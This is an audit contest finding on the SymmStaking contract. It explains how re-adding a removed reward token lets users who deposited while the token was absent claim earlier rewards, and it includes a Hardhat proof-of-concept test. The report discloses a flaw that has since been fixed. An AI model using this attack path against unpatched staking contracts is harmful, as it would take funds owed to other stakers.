Quaint Leather Badger - Readding the reward token causes userRewardPerTokenPaid to be incorrect for some users, resulting in them receiving too many rewards.

[sherlock-admin3]

Quaint Leather Badger

Medium

Readding the reward token causes userRewardPerTokenPaid to be incorrect for some users, resulting in them receiving too many rewards.

Summary

New users who deposit during the time when the reward token is not added do not get their userRewardPerTokenPaid updated for this token, so it remains 0. When the token is re-added, however, perTokenStored for this token is not 0 because it retains the previous state. This leads to a situation where users who joined in the meantime when the reward token was not added, can receive all the previous rewards of the token when new rewards are notified, effectively taking them away from other users.

Root Cause

https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L319-L328
Here you can see that when removing a reward token, the token is only removed from the rewardTokens list without resetting the other state. That means if the token is added again, it takes over the previous state. The problem is that if perTokenStored for the reward token is not 0 when it is removed, it will also not be 0 when the token is re-added. If new users make a deposit while the token is not added, they do not get userRewardPerTokenPaid updated for this token because the token is no longer in the rewardTokens list. Normally userRewardPerTokenPaid is always updated before a deposit through _updateRewardsState to ensure that a user does not receive rewards that existed before the deposit for the deposited amount:
https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L406-L418

Internal Pre-conditions

1. There must be a token that is re-added by an authorized address
2. There must be users who start staking during the time when the token is removed and has not yet been re-added

External Pre-conditions

None

Attack Path

1. A new reward token is added
2. User1 deposits
3. Rewards for the token are notified
4. One week passes, and User1 claims his rewards
5. The reward token is removed
6. User2 deposits
7. The reward token is added again
8. Rewards for the token are notified
9. One week passes, and User2 claims his rewards, but he received too many because he also received rewards from the time when the token was first added
10. User2 can no longer claim because there are not enough rewards left in the contract.

Impact

It is very likely that the staking contract will no longer function properly if a reward token is re-added, as some users would receive too many rewards, while others would no longer be able to claim anything due to the lack of rewards. For the users who have too few rewards available, they will also not be able to claim any other reward tokens, as the entire claimRewards function would be reverted.

PoC

The POC can be added to the file token/tests/symmStaking.behavior.ts and run with npx hardhat test --grep "readding token":

	it("readding token", async () => {
		//Reward token is added for the first time
		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), true)

		//User1 stakes 100 SYMM
		await stakingToken.connect(user1).approve(await symmStaking.getAddress(), e("100"))
		await symmStaking.connect(user1).deposit(e("100"), user1.address)
		
		//604.8 USDC are notified as rewards
		await usdcToken.approve(await symmStaking.getAddress(), 604800*1000)
		await symmStaking.notifyRewardAmount([await usdcToken.getAddress()], [604800*1000])

		time.increaseTo(await time.latest() + 2*30*24*60*60) //Wait 2 months
		
		await symmStaking.connect(user1).claimRewards() //User1 claims his rewards

		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), false) //The reward token gets removed

		time.increaseTo(await time.latest() + 24*60*60) //Wait 1 day
		
		//User2 stakes 100 SYMM
		await stakingToken.connect(user2).approve(await symmStaking.getAddress(), e("100"))
		await symmStaking.connect(user2).deposit(e("100"), user2.address)

		time.increaseTo(await time.latest() + 24*60*60) //Wait 3 months

		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), true) //Reward token is added for the second time
		
		//1209.6 USDC are notified as rewards
		await usdcToken.approve(await symmStaking.getAddress(), 604800*1000*2)
		await symmStaking.notifyRewardAmount([await usdcToken.getAddress()], [604800*1000*2])

		time.increaseTo(await time.latest() + 2*7*24*60*60) //Wait 2 weeks
		
		//Shows that user2 gets all pending rewards and there is nothing left for user1
		console.log("symmStaking pendingRewards before: ", await symmStaking.pendingRewards(await usdcToken.getAddress()))
		await symmStaking.connect(user2).claimRewards()
		console.log("symmStaking pendingRewards after: ", await symmStaking.pendingRewards(await usdcToken.getAddress()))
	})

Mitigation

No response

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits:
SYMM-IO/token#5